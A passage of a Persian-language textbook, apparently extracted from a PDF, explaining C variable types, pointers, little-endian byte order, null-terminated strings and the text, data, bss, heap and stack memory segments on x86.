‫دارد‪ ،‬در ﺣﺎﻟﯿﮑﻪ ﯾﮏ ﮐﺎراﮐﺘﺮ ﻓﻘﻂ ﺑﻪ ‪ 1‬ﺑﺎﯾﺖ ﻓﻀﺎ اﺣﺘﯿﺎج دارد‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ دارای ‪ 32‬ﺑﯿﺖ ﻓـﻀﺎ )ﺑـﺎ‬
‫‪ 4,294,967,296‬ﻣﻘﺪار ﻣﻤﮑﻦ( اﺳﺖ‪ ،‬درﺣﺎﻟﯿﮑﻪ ﯾﮏ ﮐﺎراﮐﺘﺮ ﻓﻘﻂ دارای ‪ 8‬ﺑﯿﺖ ﻓﻀﺎ )ﺑﺎ ‪ 256‬ﻣﻘـﺪار ﻣﻤﮑـﻦ( ﺧﻮاﻫـﺪ‬
‫ﺑﻮد‪.‬‬
‫ﺑﻌﻼوه ﻣﺘﻐﯿﺮﻫﺎ ﻣﯽ ﺗﻮاﻧﻨﺪ درآراﯾﻪ ﻫﺎ ﻧﯿﺰ اﻋﻼن ﺷﻮﻧﺪ‪ .‬ﯾـﮏ آراﯾـﻪ )‪ ،(array‬ﺗﻨﻬـﺎ ﻟﯿـﺴﺘﯽ از ‪ N‬ﻋﻨـﺼﺮ ﺑـﺎ ﻧـﻮع داده ای‬
‫ﺧﺎص )و ﯾﮑﺴﺎن( اﺳﺖ‪ .‬ﻟﺬا ﯾﮏ آراﯾﻪ ‪ 10‬ﮐﺎراﮐﺘﺮی‪ ،‬ﺗﻨﻬﺎ ‪ 10‬ﮐﺎراﮐﺘﺮ ﻣﺠﺎور ﺑﻪ ﻫﻢ و ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘـﻪ ﺑـﺮ روی ﺣﺎﻓﻈـﻪ‬
‫اﺳﺖ‪ .‬آراﯾﻪ را ﺑﺎﻓﺮ )‪ (buffer‬و آراﯾﻪ ﮐﺎراﮐﺘﺮی را رﺷﺘﻪ )‪ (string‬ﻧﯿﺰ ﻣﯽ ﻧﺎﻣﻨﺪ‪ .‬ﭼـﻮن ﮐﭙـﯽ ﮐـﺮدن ﺑﺎﻓﺮﻫـﺎ ﺑـﺰرگ از‬
‫ﻟﺤﺎظ ﻣﺤﺎﺳﺒﺎﺗﯽ ﭘﺮ ﻫﺰﯾﻨﻪ اﺳﺖ‪ ،‬ﻟﺬا از اﺷـﺎرﮔﺮﻫﺎ ﻣﻌﻤـﻮﻻ ﺟﻬـﺖ ذﺧﯿـﺮه آدرس اﺑﺘـﺪای آن ﺑـﺎﻓﺮ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد‪.‬‬
‫اﺷﺎرﮔﺮﻫﺎ ﺑﺎ وﺟﻮد ﯾﮏ ﺳﺘﺎره )*(‪ 23‬در ﻗﺒﻞ از ﻧﺎم ﻣﺘﻐﯿﺮ اﻋﻼن ﻣﯽ ﺷﻮﻧﺪ‪ .‬در زﯾﺮ ﭼﻨﺪ ﻣﺜﺎل از ﻧﺤﻮه اﻋـﻼن ﻣﺘﻐﯿﺮﻫـﺎ در‬
‫زﺑﺎن ‪ C‬را ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫;‪int integer_variable‬‬
‫;‪char character_variable‬‬
‫;]‪char character_array[10‬‬
‫;‪char *buffer_pointer‬‬
‫ﯾﮏ ﺟﺰ ﻣﻬﻢ ﺣﺎﻓﻈﻪ در ﭘﺮدازﻧﺪه ﻫﺎی ‪ ،x86‬ﺗﺮﺗﯿﺐ ﺑﺎﯾﺘﯽ )‪ (byte order‬در ﮐﻠﻤﺎت ‪ 4‬ﺑﺎﯾﺘﯽ اﺳﺖ‪ .‬اﯾـﻦ ﺗﺮﺗﯿـﺐ ﺗﺤـﺖ‬
‫ﻧﺎم ‪ Little Endian‬ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ﮐﻪ ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ اﺑﺘﺪا ﻇﺎﻫﺮ ﻣﯽ ﺷﻮد )ﺑـﺮ ﺧـﻼف ﺟﺒـﺮ ﻣﻌﻤـﻮﻟﯽ(‪ .‬ﯾﻌﻨـﯽ‬
‫ﺑﺮای ﮐﻠﻤﺎت ‪ 4‬ﺑﺎﯾﺘﯽ )ﻣﺜﻞ اﺷﺎرﮔﺮﻫﺎ و اﻋﺪاد ﺻﺤﯿﺢ(‪ ،‬ﺑﺎﯾﺖ ﻫﺎ در ﺣﺎﻓﻈﻪ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس ذﺧﯿﺮه ﻣﯽ ﺷـﻮﻧﺪ‪ .‬ﻣﻘـﺪار‬
‫ﻫﮕﺰادﺳﯿﻤﺎل ‪ 0x12345678‬ذﺧﯿﺮه ﺷﺪه در ﯾـﮏ ﻣﻌﻤـﺎری ‪ ،Little Endian‬در ﺣﺎﻓﻈـﻪ ﺑـﻪ ﺻـﻮرت ‪0x78563412‬‬
‫ﺧﻮاﻫﺪ ﺑﻮد‪ .‬اﮔﺮﭼﻪ ﮐﺎﻣﭙﺎﯾﻠﺮﻫﺎ ﺑﺮای زﺑﺎن ﻫﺎی ﺳﻄﺢ ﺑﺎﻻﯾﯽ ﻣﺜﻞ ‪ ،C‬ﺗﺮﺗﯿﺐ ﺑﺎﯾﺖ را ﺑﻪ ﺻﻮرت ﺧﻮدﮐﺎر اِﻋﻤﺎل ﻣـﯽ ﮐﻨﻨـﺪ‪.‬‬
‫اﯾﻦ ﻧﮑﺘﻪ ﻣﻬﻢ را ﺑﻪ ﺣﺎﻓﻈﻪ ﺑﺴﭙﺎرﯾﺪ‪.‬‬

‫‪ .2,5,2‬ﺧﺎﺗﻤﻪ دادن ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ‬

‫ﮔﺎﻫﯽ اوﻗﺎت ﺑﺮای ﯾﮏ آراﯾﻪ ﮐﺎراﮐﺘﺮی‪ 10 ،‬ﺑﺎﯾﺖ ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ اﺳﺖ‪ ،‬اﻣﺎ ﻓﻘﻂ ‪ 4‬ﺑﺎﯾﺖ در ﻋﻤـﻞ ﻣـﻮرد اﺳـﺘﻔﺎده ﻗـﺮار‬
‫ﮔﺮﻓﺘﻪ اﺳﺖ‪ .‬اﮔﺮ ﮐﻠﻤﻪ "‪ "test‬در ﯾﮏ آراﯾﻪ ﮐﺎراﮐﺘﺮی ‪ 10‬ﺑـﺎﯾﺘﯽ ذﺧﯿـﺮه ﺷـﻮد‪ ،‬ﺑﺎﯾﺘﻬـﺎی اﺿـﺎﻓﯽ در اﻧﺘﻬـﺎی آراﯾـﻪ ﺑـﻼ‬
‫اﺳﺘﻔﺎده ﻣﯽ ﻣﺎﻧﻨﺪ‪ .‬ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ )‪ (null‬ﺑﺮای ﻣﺴﺪود ﮐﺮدن‪ ،‬ﺧﺎﺗﻤﻪ دادن ﯾﺎ ﺑﺴﺘﻦ رﺷﺘﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬اﯾـﻦ ﺑﺎﯾـﺖ‬
‫ﺑﻪ ﻫﺮ ﺗﺎﺑﻌﯽ ﮐﻪ روی آن آراﯾﻪ ﮐﺎر ﮐﻨﺪ‪ ،‬ﺑﯿﺎن ﻣﯽ دارد ﮐﻪ ﻋﻤﻠﯿﺎت در آﻧﺠﺎ ﺧﺎﺗﻤﻪ ﯾﺎﺑﺪ‪.‬‬
‫‪0 1 2 3 4 5 6 7 8 9‬‬
‫‪t e s t 0 X X X X X‬‬

‫‪20‬‬
‫‪Extended Base Pointer‬‬
‫‪21‬‬
‫‪Extended Stack Pointer‬‬
‫‪22‬‬
‫‪Custom User-Defined Structure‬‬
‫‪23‬‬
‫‪Asterisk‬‬
‫‪19‬‬
‫ﻟﺬا اﮔﺮ ﺗﺎﺑﻌﯽ ﺑﺨﻮاﻫﺪ رﺷﺘﻪ ﻓﻮق را از اﯾﻦ ﺑﺎﻓﺮ ﮐﺎراﮐﺘﺮی ﺑﻪ ﻣﮑﺎن دﯾﮕﺮی ﮐﭙﯽ ﮐﻨﺪ‪ ،‬ﻋﺒﺎرت "‪ "test‬را ﮐﭙﯽ ﮐـﺮده و ﺑـﻪ‬
‫ﺑﺎﯾﺖ ﭘﻮچ ﺑﺮﺧﻮرد ﮐﺮده و ﻋﻤﻠﯿﺎت ﮐﭙﯽ را ﻣﺘﻮﻗﻒ ﻣﯽ ﺳﺎزد‪ .‬ﻟﺬا ﺑﻪ ﺟﺎی ﮐﭙﯽ ﺷﺪن ﮐﻞ ﺑﺎﻓﺮ‪ ،‬ﺗﻨﻬـﺎ ﻋﺒـﺎرت "‪ "test‬ﮐﭙـﯽ‬
‫ﺷﺪ‪ .‬ﺑﻪ ﻫﻤﯿﻦ ﻃﺮﯾﻖ اﮔﺮ ﺗﺎﺑﻌﯽ ﺑﺨﻮاﻫﺪ ﯾﮏ ﺑﺎﻓﺮ ﮐﺎراﮐﺘﺮی را ﭼﺎپ ﮐﻨﺪ‪ ،‬ﺑﺠﺎی ﭼﺎپ ﮐﺮدن ‪ test‬ﺑﻪ ﻫﻤﺮاه ﭼﻨﺪﯾﻦ ﺑﺎﯾﺖ‬
‫ﺗﺼﺎدﻓﯽ ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﺑﻌﺪ از آن وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﻨﺪ‪ ،‬ﺗﻨﻬﺎ ﻋﺒﺎرت "‪ "test‬را ﭼﺎپ ﺧﻮاﻫﺪ ﮐﺮد‪ .‬ﻣـﺴﺪود ﮐـﺮدن رﺷـﺘﻪ‬
‫ﻫﺎ ﺑﺎ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ ﮐﺎراﯾﯽ را اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ و ﺗﻮاﺑﻊ ﻧﻤﺎﯾﺸﯽ )ﮐﻪ ﭼﯿﺰی را روی ﺻﻔﺤﻪ ﭼﺎپ ﻣﯽ ﮐﻨﻨﺪ( ﻃﺒﯿﻌـﯽ ﺗـﺮ و‬
‫ﺑﻬﺘﺮ ﻋﻤﻞ ﺧﻮاﻫﻨﺪ ﮐﺮد‪.‬‬

‫‪ .2,5,3‬ﻗﻄﻌﻪ ﺑﻨﺪی ﺣﺎﻓﻈﻪ ﺑﺮﻧﺎﻣﻪ‬

‫ﺣﺎﻓﻈﻪ ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﭼﻨﺪﯾﻦ ﻗﻄﻌﻪ ﺗﻘﺴﯿﻢ ﻣﯽ ﺷﻮد‪ heap ،bss ،data ،text :‬و ‪ .stack‬ﻫﺮ ﻗﻄﻌﻪ ﻧﻤﺎﯾﺎﻧﮕﺮ ﺑﺨﺶ ﻣﺨـﺼﻮﺻﯽ‬
‫از ﺣﺎﻓﻈﻪ اﺳﺖ ﮐﻪ ﺑﺮای ﻫﺪﻓﯽ ﺧﺎص ﮐﻨﺎر ﮔﺬاﺷﺘﻪ ﺷﺪه اﺳﺖ‪.‬‬
‫‪ -‬ﻗﻄﻌﻪ ‪ text‬ﮐﻪ ﺑﺮﺧﯽ ﻣﻮاﻗﻊ ‪ code‬ﻧﯿﺰ ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد‪ ،‬ﻣﺤﻠﯽ ﺑﺮای ﺑﺎرﮔﺬاری دﺳﺘﻮرات ﺗﺮﺟﻤﻪ ﺷﺪه ﺑﻪ زﺑـﺎن ﻣﺎﺷـﯿﻦ‬
‫اﺳﺖ‪ .‬اﺟﺮای دﺳﺘﻮرات در اﯾﻦ ﻗﻄﻌﻪ ﺑﻪ ﻋﻠﺖ وﺟﻮد ﺳﺎﺧﺘﺎرﻫﺎ و ﺗﻮاﺑﻊ ﮐﻨﺘﺮﻟﯽ ﺳﻄﺢ ﺑﺎﻻ ﮐﻪ ﻗﺒﻼ ذﮐﺮ ﺷﺪ ﺑﻪ ﺻﻮرت ﻏﯿﺮ‬
‫ﺧﻄﯽ )‪ (non-linear‬اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ ﺳﺎﺧﺘﺎرﻫﺎ در زﺑـﺎن اﺳـﻤﺒﻠﯽ ﺑـﻪ ﺻـﻮرت دﺳـﺘﻮرات ‪ jump ،branch‬و ‪call‬‬
‫ﺗﺮﺟﻤﻪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﺑﻪ ﻣﺤﺾ اﺟﺮای ﺑﺮﻧﺎﻣﻪ‪ ،‬ﻣﻘﺪار ‪ EIP‬ﺑﺮاﺑﺮ ﺑﺎ اوﻟﯿﻦ دﺳﺘﻮر در ﻗﻄﻌﻪ ‪ text‬ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺳﭙﺲ ﭘﺮدازﻧـﺪه‬
‫ﯾﮏ ﺣﻠﻘﻪ اﺟﺮاﯾﯽ را ﮐﻪ اﻣﻮر زﯾﺮ را اﻧﺠﺎم ﻣﯽ دﻫﺪ دﻧﺒﺎل ﻣﯽ ﮐﻨﺪ‪:‬‬
‫ﺧﻮاﻧﺪن دﺳﺘﻮری ﮐﻪ ‪ EIP‬ﺑﻪ آن اﺷﺎره دارد‬ ‫•‬
‫اﺿﺎﻓﻪ ﮐﺮدن ﻃﻮلِ ﺑﺎﯾﺖِ دﺳﺘﻮر‪ 24‬ﺑﻪ ‪EIP‬‬ ‫•‬
‫اﺟﺮای دﺳﺘﻮری ﮐﻪ در ﻣﺮﺣﻠﻪ ‪ 1‬ﺧﻮاﻧﺪه ﺷﺪه ﺑﻮد‬ ‫•‬
‫ﺑﺎزﮔﺸﺖ ﺑﻪ ﻣﺮﺣﻠﻪ ‪1‬‬ ‫•‬
‫ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ﺑﻪ دﺳﺘﻮراﺗﯽ ﻣﺜﻞ ‪ jump‬ﯾﺎ ‪ call‬ﺑﺮ ﻣﯽ ﺧﻮرﯾﻢ ﮐﻪ ‪ EIP‬را ﺑﻪ آدرس ﻣﺨﺘﻠﻔﯽ از ﺣﺎﻓﻈـﻪ ﺗﻐﯿﯿـﺮ ﻣـﯽ دﻫﻨـﺪ‪.‬‬
‫اﯾﻦ ﺗﻐﯿﯿﺮ ﺑﺮای ﭘﺮدازﻧﺪه ﻣﻬﻢ ﻧﯿﺴﺖ‪ ،‬ﭼﺮا ﮐﻪ اﺟﺮا ﮐﺮدن دﺳﺘﻮرات را در ﻫﻤﻪ ﺣﺎل ﺑﻪ ﺻـﻮرت ﻏﯿـﺮ ﺧﻄـﯽ ﻓـﺮض ﻣـﯽ‬
‫ﮐﻨﺪ‪ .‬ﻟﺬا اﮔﺮ ‪ EIP‬در ﻣﺮﺣﻠﻪ ‪ 3‬ﺗﻐﯿﯿﺮ ﮐﻨﺪ‪ ،‬ﭘﺮدازﻧﺪه ﺗﻨﻬﺎ ﺑﻪ ﻣﺮﺣﻠﻪ ‪ 1‬ﺑﺎز ﮔﺸﺘﻪ و دﺳﺘﻮری را ﮐﻪ ‪ EIP‬ﺑﻪ آن ﺗﻐﯿﯿﺮ داده‬
‫ﺷﺪه اﺳﺖ ﻣﯽ ﺧﻮاﻧﺪ‪.‬‬
‫ﻣﺠﻮز ﻧﻮﺷﺘﻦ در ﻗﻄﻌﻪ ‪ text‬ﻏﯿﺮﻓﻌﺎل اﺳﺖ‪ ،‬ﭼﻮن اﯾﻦ ﻗﻄﻌﻪ ﺗﻨﻬﺎ ﺑﺮای ذﺧﯿﺮه ﮐﺪ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد ﻧـﻪ ﺑـﺮای ذﺧﯿـﺮه‬
‫ﻣﺘﻐﯿﺮﻫﺎ‪ .‬در ﺣﻘﯿﻘﺖ اﯾﻦ ﮐﺎر اﻓﺮاد را از ﺗﻐﯿﯿﺮ ﮐﺪ ﺑﺮﻧﺎﻣﻪ ﺑﺎز ﻣﯽ دارد و ﻫﺮ ﮔﻮﻧﻪ ﺗﻼش ﺟﻬـﺖ ﻧﻮﺷـﺘﻦ در اﯾـﻦ ﻗﻄﻌـﻪ از‬
‫ﺣﺎﻓﻈﻪ ﻣﻨﺠﺮ ﺑﻪ ﻫﺸﺪار ﺑﻪ ﮐﺎرﺑﺮ ﻣﺒﻨﯽ ﺑﺮ رﺧﺪاد ﯾﮏ ﻋﻤﻞ ﻧﺎﻣﻄﻠﻮب ﻣﯽ ﺷﻮد و ﻧﻬﺎﯾﺘﺎ ﺳـﺒﺐ ﺧـﺎرج ﺷـﺪن از ﺑﺮﻧﺎﻣـﻪ ﻣـﯽ‬
‫ﺷﻮد‪ .‬ﻓﺎﯾﺪه دﯾﮕﺮ ﻓﻘﻂ‪-‬ﺧﻮاﻧﺪﻧﯽ ﺑﻮدن اﯾﻦ ﻗﻄﻌﻪ اﯾﻦ اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﯿﻦ ﮐﭙﯽ ﻫﺎی ﻣﺨﺘﻠﻔﯽ از ﺑﺮﻧﺎﻣﻪ ﺑﻪ اﺷﺘﺮاک‬
‫ﮔﺬاﺷﺖ ﮐﻪ ﺑﺪون رﺧﺪاد ﻫﺮ ﮔﻮﻧﻪ ﻣﺸﮑﻞ‪ ،‬اﻣﮑﺎن ﭼﻨﺪﯾﻦ اﺟﺮا از ﺑﺮﻧﺎﻣﻪ را در آن واﺣﺪ ﻓﺮاﻫﻢ ﻣﯽ آورد‪ .‬ذﮐﺮ اﯾﻦ ﻧﮑﺘـﻪ‬
‫ﻻزم اﺳﺖ ﮐﻪ اﯾﻦ ﻗﻄﻌﻪ از ﺣﺎﻓﻈﻪ دارای اﻧﺪازه ﺛﺎﺑﺘﯽ اﺳﺖ‪ ،‬ﭼﻮن ﭼﯿﺰی در آن ﺗﻐﯿﯿﺮ ﻧﺨﻮاﻫﺪ ﮐﺮد‪.‬‬
‫‪ -‬ﻗﻄﻌﻪ ﻫﺎی ‪ data‬و ‪ bss‬ﺟﻬﺖ ذﺧﯿﺮه ﺳﺎزی ﻣﺘﻐﯿﺮﻫﺎی ﻋﻤﻮﻣﯽ )‪ (global‬و اﯾﺴﺘﺎ )‪ (static‬اﺳﺘﻔﺎده ﻣـﯽ ﺷـﻮﻧﺪ‪ .‬ﻗﻄﻌـﻪ‬
‫‪ data‬ﺑﺎ ﻣﺘﻐﯿﺮﻫﺎ‪ ،‬رﺷﺘﻪ ﻫﺎ و دﯾﮕﺮ ﻣﻘﺎدﯾﺮ ﺛﺎﺑﺖ ﮐﻪ اوﻻ ﻋﻤﻮﻣﯽ و دوﻣﺎ دارای ﻣﻘﺪار اوﻟﯿﻪ )‪ (initialized‬ﻫﺴﺘﻨﺪ ﭘـﺮ ﻣـﯽ‬
‫ﺷﻮﻧﺪ‪ ،‬اﯾﻦ ﻋﻨﺎﺻﺮ در ﺑﺮﻧﺎﻣﻪ ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‪ .‬ﻗﻄﻌﻪ ‪ bss‬دﻗﯿﻘﺎ ﺑﺎ ﻋﻨﺎﺻـﺮی ﻫﻤﭽـﻮن ﻋﻨﺎﺻـﺮ ‪ data‬ﭘـﺮ ﻣـﯽ‬
‫ﺷﻮﻧﺪ‪ ،‬ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐﻪ در ‪ bss‬داده ﻫﺎی ﺑﺪون ﻣﻘﺪار اوﻟﯿﻪ )‪ (uninitialized‬ذﺧﯿﺮه ﻣﯽ ﺷـﻮﻧﺪ‪ .‬اﮔﺮﭼـﻪ اﯾـﻦ ﻗﻄﻌـﺎت‬
‫ﻗﺎﺑﻞ ﻧﻮﺷﺘﻦ ﻫﺴﺘﻨﺪ‪ ،‬اﻣﺎ اﻧﺪازه آﻧﻬﺎ ﺛﺎﺑﺖ اﺳﺖ‪.‬‬

‫‪ – Byte-Length 24‬ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎﯾﯽ را ﮐﻪ ﯾﮏ دﺳﺘﻮر اﺳﻤﺒﻠﯽ در ﺣﺎﻓﻈﻪ اﺷﻐﺎل ﻣﯽ ﮐﻨﺪ‪ ،‬ﻃﻮل ﺑﺎﯾﺖ آن دﺳﺘﻮر ﻣﯽ ﮔﻮﯾﯿﻢ‪.‬‬
‫‪20‬‬
‫‪ -‬ﻗﻄﻌﻪ ‪ heap‬ﺑﺮای اﻧﻮاع ﺑﺎﻗﯿﻤﺎﻧﺪه ﻣﺘﻐﯿﺮﻫﺎ در ﺑﺮﻧﺎﻣﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬ﻧﮑﺘﻪ ﻣﻬـﻢ اﯾـﻦ اﺳـﺖ ﮐـﻪ ‪ heap‬دارای اﻧـﺪازه‬
‫ﺛﺎﺑﺖ ﻧﯿﺴﺖ‪ ،‬ﯾﻌﻨﯽ در ﺻﻮرت ﻧﯿﺎز ﻣﯽ ﺗﻮاﻧﺪ ﺑﺰرﮔﺘـﺮ ﯾـﺎ ﮐـﻮﭼﮑﺘﺮ ﺷـﻮد‪ .‬ﺗﻤـﺎم ﺣﺎﻓﻈـﻪ درون ‪ heap‬ﺑـﺎ اﻟﮕـﻮرﯾﺘﻢ ﻫـﺎی‬
‫ﺗﺨﺼﯿﺺ دﻫﻨﺪه )‪ (allocator‬و آزادﮐﻨﻨﺪه )‪ (deallocator‬ﻣﺪﯾﺮﯾﺖ ﻣﯽ ﺷـﻮﻧﺪ ﮐـﻪ ﺑـﻪ ﺗﺮﺗﯿـﺐ ﻧﺎﺣﯿـﻪ ای از ‪ heap‬را‬
‫ﺑﺮای اﺳﺘﻔﺎده رزرو ﮐﺮده )‪ (allocation‬ﯾﺎ ﻣﮑﺎن ﻫﺎی رزرو ﺷﺪه را ﺟﻬﺖ اﺳﺘﻔﺎده ﻫﺎی ﻣﺠﺪد آﺗﯽ ﺑﺮﻧﺎﻣﻪ از آن ﻗﻄﻌﺎت‬
‫آزاد ﮐﺮده و ﺑﻪ ﺣﺎﻓﻈﻪ ﺑﺮ ﻣﯽ ﮔﺮداﻧﻨﺪ )‪ .(deallocation‬ﺣﺎﻓﻈﻪ ‪ heap‬ﺑﺴﺘﻪ ﺑﻪ ﻣﻘﺪار رزرو ﺷﺪه ﺟﻬﺖ اﺳﺘﻔﺎده ﺑﺮﻧﺎﻣـﻪ‪،‬‬
‫ﻣﯽ ﺗﻮاﻧﺪ ﮐﻮﭼﮏ ﯾﺎ ﺑﺰرگ ﺷﻮد‪ .‬ﺑﺰرگ ﺷﺪن ﯾﺎ رﺷﺪ ‪ ،heap‬رو ﺑﻪ ﭘﺎﺋﯿﻦ و ﺑـﻪ ﺳـﻤﺖ آدرس ﻫـﺎی ﺣﺎﻓﻈـﻪ ای ﺑﺰرﮔﺘـﺮ‬
‫اﺳﺖ‪.‬‬
‫‪ -‬ﻗﻄﻌﻪ ‪ stack‬ﻧﯿﺰ اﻧﺪازه ای ﻣﺘﻐﯿﺮ دارد و در ﺧﻼل ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺗﺎﺑﻌﯽ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﭼﺮﮐﻨﻮﯾﺲ ﻣﻮﻗﺖ ﺑﺮای ذﺧﯿـﺮه‬
‫ﻣﻔﺎد )‪ (context‬اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬در ﻓﺮاﺧﻮاﻧﯽ ﯾﮏ ﺗﺎﺑﻊ در ﯾﮏ ﺑﺮﻧﺎﻣﻪ‪ ،‬آن ﺗﺎﺑﻊ ﻣﺠﻤﻮﻋـﻪ ﻣﺘﻐﯿﺮﻫـﺎی اﻧﺘﻘـﺎﻟﯽ ﺧـﻮد را‬
‫دارد و ﮐﺪِ ﺗﺎﺑﻊ در ﻣﮑﺎن دﯾﮕﺮی در ﺣﺎﻓﻈﻪ در ﻗﻄﻌﻪ ﮐﺪ ﻣﻮﺟﻮد ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﭼﻮن در زﻣﺎن ﻓﺮاﺧﻮاﻧﯽ ﯾﮏ ﺗـﺎﺑﻊ‪ ،‬ﻣﻔـﺎد و‬
‫‪ EIP‬ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﻨﺪ‪ ،‬ﻟﺬا ﺑﻪ ﻣﻨﻈﻮر ﯾﺎدداﺷﺖ ﮐﺮدن ﻣﺘﻐﯿﺮﻫﺎی ﻣﻨﺘﻘﻞ ﺷﺪه و ﻣﮑﺎﻧﯽ ﮐﻪ ‪ EIP‬ﺑﻌـﺪ از اﺗﻤـﺎم اﺟـﺮای ﺗـﺎﺑﻊ‬
‫ﺑﺎﯾﺪ ﺑﻪ آن رﺟﻮع ﮐﻨﺪ از ﭘﺸﺘﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪.‬‬
‫در ﻋﻠﻮم ﮐﺎﻣﭙﯿﻮﺗﺮ ﺑﻪ ﻃﻮر ﮐﻠﯽ‪ ،‬ﯾﮏ ﺳﺎﺧﺘﺎر داده ا اﻧﺘﺰاﻋﯽ اﺳﺖ ﮐﻪ ﻣﺘﻨﺎوﺑﺎ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‪ .‬ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ ﻫـﺎ در اﯾـﻦ‬
‫ﺳﺎﺧﺘﻤﺎن ﻣﻌﻤﻮﻻ ﺑﻪ ﺻﻮرت ‪ (First In, Last Out) FILO‬اﺳﺖ‪ ،‬ﯾﻌﻨﯽ اوﻟﯿﻦ ﻋﻨـﺼﺮی ﮐـﻪ ﺑـﻪ ﭘـﺸﺘﻪ وارد ﺷـﻮد )در‬
‫ﭘﺸﺘﻪ ﻗﺮار ﮔﯿﺮد(‪ ،‬آﺧﺮﯾﻦ ﻋﻨﺼﺮی ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ از آن ﺧﺎرج ﻣﯽ ﺷﻮد‪ .‬ﯾﮏ رﺷﺘﻪ ﻧﺦ را ﻓﺮض ﮐﻨﯿﺪ ﮐﻪ ﯾﮏ اﻧﺘﻬﺎی آن‬
‫ﺑﺎ ﯾﮏ ﮔﺮه ﺑﺰرگ ﻣﺴﺪود ﺷﺪه اﺳﺖ‪ ،‬اﮐﻨﻮن ﻧﺦ را از ﭼﻨﺪﯾﻦ ﻣﻬﺮه ﻋﺒﻮر ﻣﯽ دﻫﯿﻢ‪ .‬واﺿﺢ اﺳﺖ ﮐﻪ ﺗﺎ زﻣـﺎﻧﯽ ﮐـﻪ دﯾﮕـﺮ‬
‫ﻣﻬﺮه ﻫﺎ از ﻧﺦ ﺧﺎرج ﻧﺸﻮﻧﺪ‪ ،‬ﻧﻤﯽ ﺗﻮان اوﻟﯿﻦ ﻣﻬﺮه را ﺑﯿﺮون آورد‪ .‬ﺳﺎﺧﺘﺎر ﭘﺸﺘﻪ ﻧﯿﺰ ﺑﻪ ﻫﻤﯿﻦ ﺻﻮرت اﺳﺖ‪ .‬ﻋﻤـﻞ ﻗـﺮار‬
‫دادن ﯾﮏ ﻋﻨﺼﺮ در ﭘﺸﺘﻪ را ‪ PUSH‬و ﺑﺎزﯾﺎﺑﯽ و ﺳﭙﺲ ﺣﺬف ﮐﺮدن آﻧﺮا را ‪ POP‬ﻣﯽ ﻧﺎﻣﯿﻢ‪.‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﺎم ﻫﺎ ﺧﻮد ﮔﻮﯾﺎ ﻫﺴﺘﻨﺪ‪ ،‬ﻗﻄﻌﻪ ﭘﺸﺘﻪ در ﺣﺎﻓﻈﻪ‪ ،‬در ﺣﻘﯿﻘﺖ ﯾﮏ ﺳﺎﺧﺘﻤﺎن داده ﭘـﺸﺘﻪ اﺳـﺖ‪ .‬ﺛﺒـﺎت ‪ESP‬‬
‫ﺑﺮای ﻧﮕﻬﺪاری آدرس اﻧﺘﻬﺎی ﭘﺸﺘﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ﮐﻪ داﺋﻤﺎ ﺑﻪ دﻟﯿﻞ ﻗﺮار دادن ﯾﺎ ﺣﺬف ﮐـﺮدن ﻋﻨﺎﺻـﺮ در ﭘـﺸﺘﻪ در‬
‫ﺣﺎل ﺗﻐﯿﯿﺮ اﺳﺖ‪ .‬ﺑﺎ اﺳﺘﻨﺎد ﺑﻪ ﻫﻤﯿﻦ رﻓﺘﺎر ﭘﻮﯾﺎ در ﭘﺸﺘﻪ )ﺗﻐﯿﯿﺮ داﺋﻤﯽ ﭘﺸﺘﻪ(‪ ،‬ﺛﺎﺑﺖ ﻧﺪاﻧﺴﺘﻦ اﻧﺪازه آن ﻣﻨﻄﻘﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ‬
‫آﯾﺪ‪ .‬ﺑﺮﺧﻼف رﺷﺪ ‪ ،heap‬ﺗﻐﯿﯿﺮ اﻧﺪازه ﭘﺸﺘﻪ ﺑﻪ ﺳﻤﺖ ﺑﺎﻻ و رو ﺑﻪ آدرس ﻫﺎی ﺣﺎﻓﻈﻪ ای ﮐﻮﭼﮑﺘﺮ اﺳﺖ‪.‬‬
